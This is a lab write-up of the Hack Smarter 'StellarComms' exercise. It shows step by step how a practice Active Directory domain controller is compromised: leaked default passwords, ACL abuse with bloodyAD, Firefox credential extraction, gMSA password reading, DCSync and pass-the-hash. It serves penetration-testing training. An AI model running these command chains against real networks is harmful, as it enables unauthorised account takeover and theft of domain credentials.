> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/stellarcomms.md).

# StellarComms

{% embed url="<https://www.hacksmarter.org/courses/e0f57d12-2c23-4d6a-8c55-b85010526e52>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

Stellar Communications, a regional telecommunications provider, has retained the Hack Smarter Red Team to conduct a covert internal network penetration test. The client is concerned about the resilience of their internal Active Directory infrastructure against insider threats and compromised VPN endpoints.

Your objective is to simulate a compromised remote worker, pivot through the internal network, and demonstrate the ability to compromise high-value targets (HVTs) without triggering the Blue Team's SOC alerts.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

Our initial access team has successfully established a VPN tunnel into the environment. We have identified a valid username, likely belonging to a new hire or junior staff member.

* **Valid User:**
  * **Username:** `junior.analyst`
  * **Password:** *Unknown*

## Summary

<details>

<summary>Summary</summary>

In StellarComms we begin as a simulated remote worker with VPN access and an identified username, `junior.analyst`. Enumeration of the domain controller `DC-STELLAR` reveals an exposed FTP service containing onboarding documents that disclose default passwords. Using these, we authenticate as `junior.analyst` and perform BloodHound enumeration, discovering a misconfigured ACL allowing `WriteOwner` over the `stellar-ops_control` group. Abusing this, we gain full control of the group and reset the password of `ops.controller`, achieving remote access via WinRM. From this foothold, we extract Firefox credentials from local profiles, revealing the password of `astro.researcher`. With this account, we leverage a `WriteDACL` privilege over `eng.payload` to reset its password, and from there, read the managed password of the gMSA account `satlink-service$`. Since this account has `DCSync` rights, we replicate domain credentials and recover the NT hash of the Administrator account. Using Pass-the-Hash via WinRM, we log in as Domain Admin and retrieve the final flag.

</details>

## Recon

We use rustscan `-b 500 -a 10.1.129.141 -- -sC -sV -Pn` to enumerate all TCP ports on the `stellarcomms` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.129.141 -- -sC -sV -Pn
```

<figure><img src="/files/Pyr1jZftVJmkfNpD9BwL" alt=""><figcaption></figcaption></figure>

The `stellarcomms` machine is actually a domain controller with exposed services including FTP `21` allowing anonymour login, DNS `53`, Kerberos `88/464`, an `IIS /10.0` web server on port `80`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="/files/G5NxVlKVPzGTETA1MVAH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qgK9s3NBURIh1Lxw6V4i" alt=""><figcaption></figcaption></figure>

### FTP

We start with the FTP service and gain access via `anonymous` login.

Here we find documents in the `Docs` folder. Among other things, we find something that could refer to onboarding documents: `Stellar_UserGuide.pdf`.

<figure><img src="/files/bflPE9qDePWjrMufV2mJ" alt=""><figcaption></figcaption></figure>

We download every file and inspect each. It turns out that `Stellar_UserGuide.pdf` is for real an on-boarding document. Among other things, it contains default credentials a default password for testing purposes. We note that down.

<figure><img src="/files/oUQEVM3AcaRBNHr4pnEP" alt=""><figcaption></figcaption></figure>

### WEB

For now, we'll continue and take a look at the website hosted via the IIS. It appears to be a purely static site. We find a contact form, but it doesn't seem to be functional.

At the gallery we find some Pictures. In the metadata of the pictures, we find the artist and creator who is the provided user from the scenario.

<figure><img src="/files/ypjObe7zJXCYFoOzh1YY" alt=""><figcaption></figcaption></figure>

### SMB

Before we dive in with the credentials of the on-boarding document and the provided user we try to authenticate as `guest` and anonymously against SMB, but without success. Nevertheless we generate the hosts file entry like the following

```
nxc smb 10.1.129.141 -u '' -p ''  --generate-hosts-file hosts
```

<figure><img src="/files/M74aZarxrnUv2iDkwbXH" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file. We could also directly append the entry to our hosts file by providing the path to `/etc/hosts` in the NetExec command.

```
10.1.129.141     DC-STELLAR.stellarcomms.local stellarcomms.local DC-STELLAR
```

## Access as junior.analyst

We test whether the `junior.analyst` user is using the default password. To do this, we use NetExec to authenticate ourselves to SMB as `junior.analyst`. We are successful. However, we do not find any special shares.&#x20;

We could enumerate further users from here, but we will skip this and enumerate the domain using BloodHound, since we now have access as the user `junior.analyst`.

```
nxc smb DC-STELLAR.stellarcomms.local -u 'junior.analyst' -p 'REDACTED' --shares
```

<figure><img src="/files/JHOxiWwMxMsm6sR1wP7J" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

We enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d stellarcomms.local -u 'junior.analyst' -p 'REDACTED' -dc DC-STELLAR.stellarcomms.local -ns 10.1.129.141
```

{% endcode %}

<figure><img src="/files/h2XQ1RlxgWMGDWZ7818Q" alt=""><figcaption></figcaption></figure>

We identify the Domain Admin.

<figure><img src="/files/NgEa8fGleOCHRvo4O3ir" alt=""><figcaption></figcaption></figure>

And we see that the user junior.analyst has WriteOwner permission to the `stellar-ops_control` group.&#x20;

This would allow us to set ourselves as the owner of the group, then set `GenericAll` to the group, so that we can add ourselves as the user `junior.analyst` and thus gain the permissions of the group and move laterally. But first, let's see what the group can do.

<figure><img src="/files/g4j5PapNIVNuvNnU048J" alt=""><figcaption></figcaption></figure>

We query for the `Shortest Path from Owned objects`. We see that we can move laterally via our `WriteOwner` over the `stellar-ops_control` group, from there we can change the password of the user `ops.controller` via the ForceChangePassword permission. With that resulting user we can gain initial foothold, since the user is in the `remote management users` group.

<figure><img src="/files/QTiZAwSKRuWvLJhqSxZe" alt=""><figcaption></figcaption></figure>

Furthermore we query for the `Shortest Path to Domain Admins`. We observe that we can move laterally via the `WriteDacl` permission of the `astro.researcher` user over `eng.payload`, allowing us to grant ourselves access to read the `gMSA password` of `satlink.services`. From there, we can authenticate as `satlink.services`, which has `DC Sync` privileges, which allows us to simulate the replication process from the domain controller. This leads to the compromise of the credential material on the domain controller.

However, we also see that there is no path from `junior.analyst` to `astro.researcher`. So we need to make sure that we escalate from our foothold on to `astro.researcher` in order to fully compromise the domain controller.

<figure><img src="/files/oZ1f1Wri76wqzknW4qBX" alt=""><figcaption></figcaption></figure>

## Shell as ops.controller

We first pursue our enumerated attack path from our Bloodhound enumeration and escalate from `junior.analyst` to `ops.controller` to gain initial foothold on the domain controller.

Recalling the results form the enumeration:

> We query for the `Shortest Path from Owned objects`. We see that we can move laterally via our `WriteOwner` over the `stellar-ops_control` group, from there we can change the password of the user `ops.controller` via the ForceChangePassword permission. With that resulting user we can gain initial foothold, since the user is in the `remote management users` group.

First we need to add `junior.analyst` to the `stellar-ops_control` group.

> And we see that the user junior.analyst has WriteOwner permission to the `stellar-ops_control` group.&#x20;
>
> This would allow us to set ourselves as the owner of the group, then set `GenericAll` to the group, so that we can add ourselves as the user `junior.analyst` and thus gain the permissions of the group and move laterally. But first, let's see what the group can do.

#### WriteOwner -> change ourself to owner

We change the ownership of the target Active Directory object `stellarops-control` to our controlled account `junior.analyst` so we gain full control over it.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-ownership#grant-ownership>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'junior.analyst' -p 'REDACTED' set owner 'stellarops-control' 'junior.analyst'
```

{% endcode %}

<figure><img src="/files/0FYXz6mfdqiSjOPpTMou" alt=""><figcaption></figcaption></figure>

#### Grant us GenericAll over the Group

We grant the account `junior.analyst` `GenericAll` permissions over the target group `stellarops-control`, giving us full control over the object and its attributes.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-rights>" %}

{% code overflow="wrap" %}

```
# Give full control (with inheritance to the child object if applicable)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add genericAll "$TargetObject" "$ControlledPrincipal"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'junior.analyst' -p 'REDACTED' add genericAll 'stellarops-control' "junior.analyst"
```

{% endcode %}

<figure><img src="/files/d9ywCUXGYVDjZlY5WxI1" alt=""><figcaption></figcaption></figure>

#### AddMember: Add junior.analyst to the group

We add the account `junior.analyst` as a member of the `stellarops-control` group to inherit its privileges.

This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights` or `Self-Membership`, over the target group.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/addmember>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'junior.analyst' -p 'REDACTED' add groupMember 'stellarops-control' 'junior.analyst'
```

{% endcode %}

<figure><img src="/files/jaxXBjNMi6cED94fyRQx" alt=""><figcaption></figcaption></figure>

#### ForceChangePassword

We reset the password of the `ops.controller` account to a known value, allowing us to authenticate as that user.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'junior.analyst' -p 'REDACTED' set password 'ops.controller' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/W7qrBfxVjtXidyFhZMyB" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate against SMB on `DC-STELLAR`.

```
nxc smb DC-STELLAR.stellarcomms.local -u 'ops.controller' -p 'Pwned123@!' --shares
```

<figure><img src="/files/B4p5edZgTlaAn85hqwzD" alt=""><figcaption></figcaption></figure>

Next, we get an interactive session using evil-winrm and are able to connect. We find the user flag at `C:\Users\ops.controller\Desktop\user.txt`.

```
evil-winrm -i DC-STELLAR.stellarcomms.local -u 'ops.controller' -p 'Pwned123@!'
```

<figure><img src="/files/5KZuDK30qVcOCWykldlZ" alt=""><figcaption></figcaption></figure>

## Access as astro.researcher

On the Desktop of `ops.controller` we find an installer for Firefox 91.0 esr next to the flag. What we could try now is to extract the browser credentials.

<figure><img src="/files/XW3zvAcVxwCOiCnHojxy" alt=""><figcaption></figcaption></figure>

There is also an interesting article on this topic that goes into detail about various browsers.

{% embed url="<https://apr4h.github.io/2019-12-20-Harvesting-Browser-Credentials/>" %}

What we need in the end is a `logins.json` and a `key4.db` file to decrypt the credentials of a firefox profile.

> #### Where are the creds stored? <a href="#where-are-the-creds-stored-1" id="where-are-the-creds-stored-1"></a>
>
> Users’ Firefox profiles are each stored in their own directory under `C:\Users\Apr4h\Roaming\Mozilla\Firefox\Profiles\<random text>.default\`. In recent versions of Firefox, there are two relevant artefacts required for decryption of stored credentials.
>
> * `C:\Users\Apr4h\Roaming\Mozilla\Firefox\Profiles\<random text>.default\key4.db`
> * `C:\Users\Apr4h\Roaming\Mozilla\Firefox\Profiles\<random text>.default\logins.json`

We find the following two profiles: `67wyvfsfs.default` and `v8mn7ijj.default-esr`.

```
C:\Users\ops.controller\APPDATA\Roaming\Mozilla\Firefox\profiles
```

<figure><img src="/files/DFBzASplfTu6yPYp09Kg" alt=""><figcaption></figcaption></figure>

Of which `v8mn7ijj.default-esr...`

<figure><img src="/files/By0v9UmAXqUryRB0zKmr" alt=""><figcaption></figcaption></figure>

is not empty, we download both required files:

```
download key4.db
```

```
download logins.json
```

<figure><img src="/files/PtYEPtq5SSuGPJv3kWA3" alt=""><figcaption></figcaption></figure>

To extract the credentials from the files we can make use of the following project called `firepwd`:

{% embed url="<https://github.com/lclevy/firepwd>" %}

We try to decrypt the credentials contained in the `v8mn7ijj.default-esr` (the folder contains both files) and find the credentials of `astro.reaseacher`.&#x20;

```
python firepwd/firepwd-ng.py -d v8mn7ijj.default-esr
```

<figure><img src="/files/YWBMKNMXTGNRBN5mj1av" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate against SMB on `DC-STELLAR`.

```
nxc smb DC-STELLAR.stellarcomms.local -u 'astro.researcher' -p 'REDACTED' --shares
```

<figure><img src="/files/Kyif5Xd3b4EckDgjxbPH" alt=""><figcaption></figcaption></figure>

Recalling our BloodHound enumeration, we can now follow the attack path starting from `astro.researcher` to completely compromise the domain controller.

> Furthermore we query for the `Shortest Path to Domain Admins`. We observe that we can move laterally via the `WriteDacl` permission of the `astro.researcher` user over `eng.payload`, allowing us to grant ourselves access to read the `gMSA password` of `satlink.services`. From there, we can authenticate as `satlink.services`, which has `DC Sync` privileges, which allows us to simulate the replication process from the domain controller. This leads to the compromise of the credential material on the domain controller.
>
> However, we also see that there is no path from `junior.analyst` to `astro.researcher`. So we need to make sure that we escalate from our foothold on to `astro.researcher` in order to fully compromise the domain controller.

<figure><img src="/files/eBLtySXGC8DUa8ksmai2" alt=""><figcaption></figcaption></figure>

## Access as eng.payload

#### Grant us GenericAll over the eng.payload

We grant the account `astro.researcher` `GenericAll` permissions over the `eng.payload` user, giving us full control to modify it as needed.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/grant-rights>" %}

{% code overflow="wrap" %}

```
# Give full control (with inheritance to the child object if applicable)
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add genericAll "$TargetObject" "$ControlledPrincipal"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'astro.researcher' -p 'REDACTED' add genericAll 'eng.payload' 'astro.researcher'
```

{% endcode %}

<figure><img src="/files/7jHetYMlD3SSgRswK5Dw" alt=""><figcaption></figcaption></figure>

#### ForceChangePassword

Now we reset the password of the `eng.payload`, since we have `GenericAll` permissions over that.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword>" %}

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"
```

{% endcode %}

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'astro.researcher' -p 'REDACTED' set password 'eng.payload' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/fOb5alj1Dvf7ePr1xR1b" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate against SMB on `DC-STELLAR`.

```
nxc smb DC-STELLAR.stellarcomms.local -u 'eng.payload' -p 'Pwned123@!' --shares
```

<figure><img src="/files/vV3CL5Mm356CPNRYGFv8" alt=""><figcaption></figcaption></figure>

## Access as satlink-services

#### ReadGMSAPassword <a href="#readgmsapassword" id="readgmsapassword"></a>

We read the managed password of the gMSA account `satlink-service$` by querying its `msDS-ManagedPassword` attribute using our authorized access via `eng.payload`.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword#readgmsapassword>" %}

> This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's `msDS-GroupMSAMembership` attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.
>
> The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

{% code overflow="wrap" %}

```
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword
```

{% endcode %}

We retrive the NT hash of `satlink-service$`.

{% code overflow="wrap" %}

```
bloodyAD --host DC-STELLAR.stellarcomms.local -d stellarcomms.local -u 'eng.payload' -p 'Pwned123@!' get object 'satlink-service$' --attr msDS-ManagedPassword
```

{% endcode %}

<figure><img src="/files/vrt2LQB7ZZe0b9NH2S5o" alt=""><figcaption></figcaption></figure>

We test the hash using NetExec and are able to authenticate against SMB on `DC-STELLAR`.

{% code overflow="wrap" %}

```
nxc smb DC-STELLAR.stellarcomms.local -u 'satlink-service$' -H 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/klTFtnVjq1UaE1bmPwYz" alt=""><figcaption></figcaption></figure>

## Shell as Domain Administrator

Now that we have access as `satlink-service$` we can perform the DCSync attack.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync#dcsync>" %}

> DCSync is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller. This attack can lead to the compromise of major credential material such as the Kerberos `krbtgt` keys used legitimately for tickets creation, but also for [tickets forging](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/index) by attackers. The consequences of this attack are similar to an [NTDS.dit dump and parsing](https://www.thehacker.recipes/ad/movement/credentials/dumping/ntds) but the practical aspect differ. A DCSync is not a simple copy & parse of the NTDS.dit file, it's a `DsGetNCChanges` operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.

{% code overflow="wrap" %}

```
# with Pass-the-Hash
secretsdump -outputfile 'dcsync' -hashes :"$NT_HASH" -dc-ip "$DC_IP" "$DOMAIN"/"$USER"@"$DC_HOST"
```

{% endcode %}

We perform the secretsdump and are able to retrieve the NT hash of the Domain Admin among others.

{% code overflow="wrap" %}

```
secretsdump -outputfile 'dcsync' -hashes :'REDACTED' -dc-ip DC-STELLAR.stellarcomms.local 'stellarcomms.local/satlink-service$@DC-STELLAR.stellarcomms.local'
```

{% endcode %}

<figure><img src="/files/x6NphlFpXKOLr6fLD0qH" alt=""><figcaption></figcaption></figure>

We log in as the Domain Admin using the retrieved hash via evil-winrm. We find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" %}

```
evil-winrm -i DC-STELLAR.stellarcomms.local -u 'Administrator' -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/CPe5ZnYTlT28QabIVaaT" alt=""><figcaption></figcaption></figure>
